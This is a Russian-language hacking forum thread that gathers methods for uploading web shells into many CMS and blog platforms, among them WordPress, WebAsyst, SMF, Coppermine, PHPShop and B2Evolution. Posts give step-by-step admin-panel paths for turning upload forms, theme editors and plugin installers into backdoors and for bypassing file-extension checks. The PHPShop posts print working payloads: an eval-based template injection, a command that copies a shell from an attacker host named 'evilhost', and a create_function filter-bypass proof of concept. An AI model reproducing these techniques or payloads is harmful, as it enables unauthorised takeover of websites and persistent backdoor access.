[ Заливка шелла в Cms|Blogs ]

Discussion in 'Веб-уязвимости' started by Roba, 11 Jul 2008.

  1. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Заливка шелла в CMS|Blogs

    Решил собрать все вместе, да бы уменьшить бояновые темы в разделе. Все вопросы, касающиеся заливки шелла в CMS, задаем сюда. Приветствуется помощь в наполнении темы актуальным материалом.​
    CFM(Cold-Fusion) 1
    CMS Phpclanwebsite 1
    CMS Textpattern 1
    Danneo CMS 1
    Dayfox Blog 1
    Dinamik_Hip-Hop_portal 1
    DinamikCMS 1
    e107 1
    Exponent CMS 1
    FlashBlog 1
    Gekko CMS 1
    JetBox CMS 1
    Joomla 1,2
    Koobi CMS 1
    osCommerce 1,2
    PHP-Fusion 1,2,3
    phpWebSite 1
    RunCMS 1
    Sapid 1
    SmallNuke 1
    Subdreamer CMS 1
    WebCodePortalSystem 1
    WR-Meeting 1
     
    5 people like this.
    1. OMG!!

      OMG!! Elder - Старейшина

      Joined:
      25 Feb 2008
      Messages:
      230
      Likes Received:
      70
      Reputations:
      -3
      Есть сайт на nginx с WordPress 2.2 версией, нашел юзера с правами постера... при попытке залить шелл в новость скрипт отплевывается и говорит, что php не разрешено заливать по соображениям безопасности.. оно и понятно, несколько раз просмотрел всю ветку про WP и его уязвимости, ничего путного для себя не нашел.. Отцы подскажите, как залить в эту версию шелл )

      ... в удаленной теме кто-то писал про редактор тем и шаблонов.. но я повторюсь, есть юзер с ограниченными провами ( только постер ).
       
      1. ~!DoK_tOR!~

        ~!DoK_tOR!~ Banned

        Joined:
        10 Nov 2006
        Messages:
        673
        Likes Received:
        357
        Reputations:
        44
        1. Создаём новую запись в блоге http://localhost/wp-admin/post-new.php
        2. И заливаем шелл с расширением php.

        1. http://localhost/wordpress/wp-admin/templates.php редактируем файл links.php и вставляем свой код
        2. http://localhost/wordpress/wp-content/themes/default/links.php - ваш шелл

        1. http://localhost/wordpress/wp-admin/theme-editor.php и редактируем файл 404.php или searchform.php и вставляем свой код
        2. http://localhost/wordpress/wp-content/themes/default/404.php - шелл
         
        1 person likes this.
        1. OMG!!

          OMG!! Elder - Старейшина

          Joined:
          25 Feb 2008
          Messages:
          230
          Likes Received:
          70
          Reputations:
          -3
          Тип файла не подходит по соображениям безопасности. Попробуйте другой. оно ругается )
          "..Вы не имеете достаточно прав для доступа к данной странице.'' ) У меня только права постера. ))
           
          1. [Dark Green]

            [Dark Green] Banned

            Joined:
            13 May 2010
            Messages:
            188
            Likes Received:
            430
            Reputations:
            567
            TerraShop CMS
            Оф. сайт: terrashop.com.ua
            Зависимость: админские права
            Работаем с файлом /admin/fom_info.php При редактировании категории спокойно льем шелленг вместо картинки! Файлы в обязательном порядке подлежат переименованию, поэтому путь до шелла определяем вручную (вызывая свойства изображения). Шеллег ищем по адресу site/images/categories/[your_shell]

            Diem Content Managment Framework
            Оф. сайт: diem-project.org
            Зависимость: админские права
            Заливаемся через медиа менеджер - admin.php/tools/media/media/path

            EasyWebManager ver 3.1
            Оф. сайт: easywebmanager.com
            Зависимость: админские права
            Ищем модуль создания товаров/страниц, там можно прикреплять с локального диска изoбражение для товара. К имени шелла дописывается преф thumb_ , ищем шелл в site/files/upload/thumb_[your_shell]

            Impresspages CMS
            Оф. сайт: impresspages.eu
            Зависимость: админские права
            Открываем меню developer, выбираем любую вкладку которая имеет форму загрузки и спокойно льем свой shell.php, обновляем страницу! Имеем кривой и практически недееспособный веб-шелл(!) ==> находим в корне сайта файл ip_config.php и заменяем его содержимое на свой шелл-код! Вуаля! Наслаждаемся)

            Catera CMS ver 3.0.2
            Оф. сайт: Catera.Ru
            Зависимость: админские права
            Добавляем в настройках новый тип материала - PHP Далее, через модуль редактирования директорий, вместо картинки грузим на сервер шелл. Мы сами определяем директорию для загрузки файла.

            Tradingeye CMS ver 6.1
            Оф. сайт: tradingeye.com
            Зависимость: админские права
            1. Admin » File Manager » Add Files (файловый менеджер) - /admin/adminindex.php?action=file.uploadFrm&dir=menu
            очень удобно, путь к шеллу выбираем сами )
            2. Settings » Company Information » Edit Details (импорт логотипа) - /admin/adminindex.php?action=settings.company&flag=settings
            Путь: site/images/company/
            3. Admin » Import / Export Products (импорт CSV файла) - admin/adminindex.php?action=csv.home
            Путь: site/images/csv/

            TDSSE CMS ver 3.22
            Оф. сайт: tdsse.com
            Зависимость: админские права
            Элементарно:
            1 /admin.php?d=shabhtml
            2 /admin/filemanager.php
            3 /admin/imagemanager.php

            SBuilder CMS ver 4.015
            Оф. сайт: sbuilder.ru
            Зависимость: админские права
            1. Переходим в раздел настройки модулей (Меню Администратора / Настройки системы / Настройки «Вашего сайта» / Модули) и в поле "Расширения файлов доступных для загрузки" вписываем "php" и сохраняем настройки.
            2. Переходим в раздел "Библиотека изображений" (Меню пользователя / Информационное наполнение / Библиотека изображений ) и выбираем "добавить изображение"
            2.1 Вкладка «Основные» - Указываем имя изображения , например evil.php =)
            2.2 Вкладка «Изображения» указываем адрес нашего веб-шелла. Допустима загрузка с локального диска и с удаленного хоста. При этом необходимо указать адрес веб-шелла во всех трех вариантах: большое изображение, среднее изображение, маленькое изображение.
            2.3 Нажимаем «сохранить» и переносимся в «библиотеку изображений» где видим наш шелл. Открываем свойства изображения (слева от нашего файла evil.php) и видим полный путь до шелла.

            ATOM Content Management System ver 2.0
            Оф. сайт: realiseyourdesign.co.uk
            Зависимость: админские права
            1) site/cms/ftp_add.php
            2) site/cms/pictures_add.php?id=[id]&title=[category]
            Путь: site/cms/pictures/[your_shell]

            Instant Update CMS
            Оф. сайт: cubescripts.com
            Зависимость: админские права
            1) site/manage/editfiles.php
            2) site/manage/scripts/assetmanager/assetmanager.php
            Заходим в настройки - site/manage/settings.php и добавляем php5 в список допустимых для импорта расширений, а так же, меняем адрес диры в которую происходит импорт(по умолчанию UserFiles), например на - manage/images. в дефолтной папке выполнение php кода запрещено .htaccess'om

            RedKey CMS
            Оф. сайт: redkeycms.com
            Зависимость: админские права
            Элементарно, 2 способа:
            1) Файловый менеджер - site/admin/index.php?action=file_manager
            2) Редактор тем оформления - site/demo/admin/?action=templates&do=edit&file=index.php&template=default&ext=php

            Porn CMS
            Оф. сайт: camstudiocms.com
            Зависимость: админские права
            Работаем с файлом site/adm.in/index.php?newml=upload файл зальется с расширением .php.gif
            Путь: site/adm.in/upload/[your_shell]

            eFront CMS
            Оф. сайт: efrontlearning.net
            Зависимость: админские права
            Пошагово:
            Разрешаем редактирование/добавление языков - site/administrator.php?ctg=system_config
            Выбираем и редактируем/импортируем язык - site/administrator.php?ctg=language
            Путь: site/index.php?bypass_language=your_hacking_language_name

            CMS Website
            Оф. сайт: website.is
            Зависимость: админские права
            xерез модуль - /catalog/control.php?module=files заливаем шелл с расширением .php.blablabla

            Viart CMS
            Оф. сайт: viart.com
            Зависимость: админские права
            1) site/admin/admin_fm.php
            2) site/admin/admin_upload.php?filetype=banner путь к шеллу виден на странице
            site/admin/admin_banner.php

            castcom CMS
            Оф. сайт: castcom.ru
            Зависимость: админские права
            На странице - site/admin/system/index.php#banner заливаем шелл с расширением .php.blablabla
            Путь: site/uplfile/banner/[your_shell]

            Simplacms CMS ver 1.4.2
            Оф. сайт: simplacms.ru
            Зависимость: админские права
            Спасибо TinyMсе(!) - открываем и редактируем новость,каталог,статью и почти все, что душе угодно. справа от кнопки "вставить картинку" есть "файловый менеджер" - открываем. Удаляем враждебно настроенный .htaccess и спокойно заливаемся. по умолчанию http://localhost/file/


            Collabtive CMS
            Оф. сайт: collabtive.o-dyn.de
            Зависимость: админские права
            при работе со скриптом - /managefile.php?action=showproject&id=[id]&mode=added все файлы аля .php, .php3, .php4 и прочие ваулируются и переименовываются в txt, не беда, shell.phtml нас вполне устраивает ;)

            Intrid CMS
            Оф. сайт: intrid.ru
            Зависимость: админские права
            при работе со скриптом /admin-gallery.php?action=uploadimages&id=0 спокойно заливаем веб-шелл с любым расширением(!)

            zoommarket ver 1.0
            Оф. сайт: about.zoommarket.ru
            Зависимость: админские права
            Настраиваем импорт файлов, добавляем интересующее нас расширение, скрипт - main.php?do=settings&key=general Импортируем - /main.php?do=files&act=paste&mode=move

            Я кончил :D
             
            4 people like this.
            1. yarbabin

              yarbabin HACKIN YO KUT

              Joined:
              21 Nov 2007
              Messages:
              1,663
              Likes Received:
              916
              Reputations:
              363
              _ucms
              админка — site/_ucms/
              с проблемой справился так:
              1. заходим в «admin templates», выбираем любую категорию
              2. ставим галочку на «secure_gallery»
              3. переходим на вкладку «admin sections», выбираем раздел
              4. там где «secure image gallery» жмем, new image, грузим шелл, жмем view
              5. PROFIT

              WebAsyst
              у Konqi в видео, показано, как залить через редактирование шаблона, но сегодня попалась версия, где пхп код не исполнялся.
              1. нужны права админа, заходим в site/system/
              2. жмем «магазин», далее — «настройки»
              3. выбираем «альтернативы оформлению заказа»
              4. включаем «PayPal Website Payments Pro - Express Checkout»
              5. где «сертификат paypal» выбираем наш шелл, жмем сохранить
              6. наш шелл по адресу site/data/SHOP/attachments/SC/temp/shell.php

              SMF 1.1.4 через изменения шаблонов (возможно и на более ранних, так и на более поздних версиях)​
              нужны права администратора.
              1. заходим в «темы оформления»
              2. «изменения тем оформления»
              3. выбираем любую тему оформления, «обзор шаблонов и файлов этой темы оформления»
              4. и редактируем, например index.template.php
              5. профит, наш шелл в индексе
              только не забудьте выбрать тему, которую вы изменяли, в настройках.

              вроде как ©
               
              _________________________
              #6 yarbabin, 10 Feb 2012
              Last edited: 10 Feb 2012
              1 person likes this.
              1. r3S4tx

                r3S4tx New Member

                Joined:
                29 Apr 2011
                Messages:
                1
                Likes Received:
                1
                Reputations:
                5
                Насчет WebAsyst.
                Попалась такая версия двига, где папка /data/SHOP/attachments/SC/temp/ закрыта .htaccess и поэтому залить шелл вышеприведенным способом не получается. Точнее залить получается, но толку от этого мало.

                Поэтому такой способ:
                Нужен доступ в админку.
                Заходим в www.site.xx/published/
                Затем «Магазин», далее в «Настройки»
                Мотаем вниз и находим «Логотип для печатных форм»
                Выбираете шелл, жмете «Сохранить»
                Теперь ищите шелл по адресу:
                www.site.xx/published/publicdata/<WADB >/attachments/SC/images/shell.php
                 
                #7 r3S4tx, 12 Feb 2012
                Last edited: 13 Feb 2012
                1 person likes this.
                1. Agel Nash

                  Agel Nash New Member

                  Joined:
                  23 Jul 2009
                  Messages:
                  12
                  Likes Received:
                  4
                  Reputations:
                  5
                  Имя права редактора в modx можно подняться до администратора. Вот видео записал как это сделать: http://www.youtube.com/watch?v=W3i9ZMZGZSg

                  А дальше можно залить шелл через обычный файловый редактор или менеджер модулей/сниппетов.
                   
                  1. nemaniak

                    nemaniak Elder - Старейшина

                    Joined:
                    10 Jun 2008
                    Messages:
                    195
                    Likes Received:
                    161
                    Reputations:
                    108
                    PhpProBid v. 6.10
                    Оф. сайт: phpprobid.com
                    Нужны права админа.

                    Способ №1:
                    - Заходим в админку, далее Categories -> Edit Category Language Files (Категории -> Редактировать файлы языков категорий);
                    - Выбираем язык для редактирования, очень желательно не текущий;
                    - В правой колонке правим php файл языка, вставляем свой код, сохраняем изменения и сверху видим сообщение о успешности и путь файла языка;
                    - Переходим по вышеуказанному пути и видим исполнение кода.

                    Способ №2: (Работает не всегда)
                    - Опять же в админке, переходим в General Settings -> Digital Downloads (Основные настройки -> Цифровые загрузки):
                    - Ставим галку в Enable Digital Downloads и выставляем в Maximum file size 1000000 KBytes, сохраняем;
                    - Далее заходим от лица любого юзера в Users Management -> Login as Site User (Управление пользователями -> Войти как пользователь сайта) и создаем новый аукцион;
                    - Заполняем все поля и жмем Next step;
                    - Теперь опускаемся вниз к пункту Digital Goods и загружаем свой файл;
                    - Теперь нужно узнать номер аукциона, это можно сделать, как отследив снифером Post данные и глянув в переменную item_id, так и, например, дойти до Preview и узнать номер в Auction ID;
                    - Наш шелл будет лежать по следующему пути site.com/dd_folder/dd_A_[номер аукциона]_[название файла].img, например, site.com/dd_folder/dd_A_100006_shell.php.img, причем при переходе на него шелл исполняется за счет предрасширения php.
                     
                    1 person likes this.
                    1. Zed0x

                      Zed0x Member

                      Joined:
                      4 Jun 2012
                      Messages:
                      114
                      Likes Received:
                      29
                      Reputations:
                      23
                      Полный FAQ по заливке веб-шелла в WordPress

                      #1 СПОСОБ:

                      Зависимости: Аккаунт администратора, права на запись файлов.
                      Описание: Метод заключается в загрузке веб-шелла через "установку тем оформления".
                      Инструкция:
                      1. Внешний вид -> Темы -> Установить темы -> Загрузить, или по ссылке:
                      HTML:
                      /wp-admin/theme-install.php?tab=upload
                      2. После перехода, видим форму загрузку ZIP архивов:
                      [​IMG]

                      Для загрузки веб-шелла, нам нужно поместить его в zip архив, например, сделать это можно через WinRAR. У темы в WordPress есть 2 обязательных файла:
                      • index.php
                      • style.css

                      В style.css помещаем:
                      Code:
                      /*
                      Theme Name: Web-shell
                      Description: This is web-shell for WP
                      Author: Zed0x
                      Version: 2.5 Suid
                      License: WSO 2.5 Suid, edit by antichat
                      */
                      
                      В index.php:
                      Code:
                      <?php
                          // This is web-shell.
                      ?>
                      
                      И третий файл делаем, например wso.php - наш шелл. В итоге мы получаем 3 файла: wso.php, index.php, style.css - все их перемещаем в папку "web-shell" и запаковываем в zip архив -> загружаем на сайт через форму установки темы.
                      Путь до веб-шелла:
                      Code:
                      /wp-content/themes/web-shell/wso.php
                      Download: web-shell for wordpress
                       
                      #10 Zed0x, 20 Dec 2012
                      Last edited: 20 Dec 2012
                      1 person likes this.
                      1. Zed0x

                        Zed0x Member

                        Joined:
                        4 Jun 2012
                        Messages:
                        114
                        Likes Received:
                        29
                        Reputations:
                        23
                        Загрузка веб-шелла в Coppermine Photo Gallery

                        Загрузка веб-шелла в Coppermine Photo Gallery​


                        Зависимости: аккаунт администратора, права на запись.
                        Описание: Загружать веб-шелл будем через менеджер плагинов в ZIP архиве. Данный способ проверен на последней версии cpg 1.5.20.
                        Инструкция: В верхнем меню, переходим по адресу Конфигурация -> Менеджер плагинов:
                        [​IMG]
                        Или по адресу:
                        Code:
                        /pluginmgr.php
                        На этой странице видем форму загрузки файлов:
                        [​IMG]

                        Она загружает ZIP архивы, и соответственно распаковывает их в папку соответствующею названию архива. Никакой проверки содержания архива не производится, поэтому нам нужно всего лишь создать zip и поместительность в него один файл - наш шелл.
                        После загрузки архива, ваш шелл будет доступен по адресу:
                         
                        1 person likes this.
                        1. nemaniak

                          nemaniak Elder - Старейшина

                          Joined:
                          10 Jun 2008
                          Messages:
                          195
                          Likes Received:
                          161
                          Reputations:
                          108
                          B2Evolution <= 2.4.6 (Возможно и более поздние версии)
                          Оф. сайт: b2evolution.net
                          Нужны права админа.

                          - В админке переходим сразу в раздел Upload (в верхнем меню);
                          - Если попробуем загрузить php (php3, php4 и т.д.), то система нам любезно ответит, что загрузка данного типа файлов запрещена. Переименовываем наш злоскрипт в картинку, что-то типо test.jpg и грузим;
                          - Переименовываем картинку обратно в файл с расширением php с помощью Rename в разделе Actions, на это нам система молчит;
                          - Грузим файл напрямую, он будет по след. пути http://site.com/blogs/media/users/[имя админа]/test.php, например, http://site.com/blogs/media/users/admintest/test.php.
                           
                          1. Take_IT

                            Take_IT Banned

                            Joined:
                            11 Mar 2013
                            Messages:
                            381
                            Likes Received:
                            162
                            Reputations:
                            267
                            PHPShop & PHPShop CMS Free - Latest Version

                            Developers - phpshop.ru , cms.phpshopcms.ru
                            Need: Admin Access
                            Admin url: /phpshop/admpanel/

                            Заходим в редактор .tpl шаблонов. Выбираем тему с шаблоном которой будем работать, можно выбрать текущую тему, например "gray"

                            Выбираем файл шаблона, например файл шаблона для главной страницы "main/index.tpl"

                            Внедряем свой код
                            PHP:
                            @php
                            eval($_REQUEST[e]);
                            php@
                            Смотрим абсолютный путь:
                            Code:
                            localhost/?e=phpinfo();
                            Льем шелл:
                            Code:
                            localhost/?e=copy("evilhost/shell.txt","/home/yoursite/phpshop/templates/gray/main/shell.php");
                             
                            1. l1ght

                              l1ght Elder - Старейшина

                              Joined:
                              5 Dec 2006
                              Messages:
                              191
                              Likes Received:
                              678
                              Reputations:
                              333
                              обновлю пост, последняя на данный момент версия PHPShop 5.3, список допустимых функций зашит в массив, смотрим на регулярки:

                              ./class/parser.class.php
                              Code:
                              function Parser($string, $debug = false) {
                              
                                  $dis = @preg_replace_callback("/@([a-zA-Z0-9_]+)@/", 'SysValueReturn', @preg_replace_callback("/(@php)(.*)(php@)/sU", "evalstr", str_replace('&#43;', '+', $string)));
                              
                              ...
                              
                              Code:
                              function evalstr($str) {
                                  ob_start();
                                  if (parser_function_guard == 'true') {
                                      if (!allowedFunctions($str[2]))
                                          return ob_get_clean();
                                  }
                                  if (eval(stripslashes($str[2])) !== NULL) {
                                      echo ('<div class="alert alert-danger"><h4>     PHP</h4>');
                                      echo ('  :');
                                      echo ('<pre>');
                                      echo ($str[2]);
                                      echo ('</pre></div>');
                                      return ob_get_clean();
                                  }
                                  return ob_get_clean();
                              }
                              
                              ...
                              
                              Code:
                              function allowedFunctions($str) {
                                  $Functions = array(
                                      'if',
                                      'else',
                                      'switch',
                                      'for',
                                      'foreach',
                                      'echo',
                                      'print',
                                      'print_r',
                                      'array',
                                      'isset',
                                      'empty',
                                      'chr',
                                      '__',
                                      'str_replace',
                                      '__hide',
                                      'empty'
                                  );
                                  $allowFunctions = array_merge($Functions, explode(',', parser_function_allowed));
                                  preg_match_all('/\s*([A-Za-z0-9_$]+)\s*\(/isU', $str, $findedFunctions);
                                  $remElements = array_diff($findedFunctions[1], $allowFunctions);
                                  $denyFunctions = explode(',', parser_function_deny);
                                  foreach ($denyFunctions as $deny)
                                      if (stristr($str, $deny))
                                          $remElements[] = $deny;
                                  if (count($remElements) > 0) {
                                      echo ('<div class="alert alert-warning"><h4>    </h4>');
                                      echo ('   :');
                                      echo ('<pre>');
                                      foreach ($remElements as $remElement) {
                                          echo ($remElement . '()');
                                      }
                                      echo ('</pre>');
                                      echo ('   (     phpshop/inc/config.ini  [function]):');
                                      echo ('<pre>');
                                      foreach ($allowFunctions as $allowFunction) {
                                          echo ($allowFunction . '()<br>');
                                      }
                                      echo ('</pre></div>');
                                      return false;
                                  } else {
                                      return true;
                                  }
                              }
                              
                              создаем страницу или новость
                              универсальный poc для php5 и php7
                              Code:
                              @php ?><?$_="create_function";$_/**/('',"}$_GET[a]");?> php@
                              ?a=phpinfo();//
                               
                              cat1vo, crlf, aka PSIH and 1 other person like this.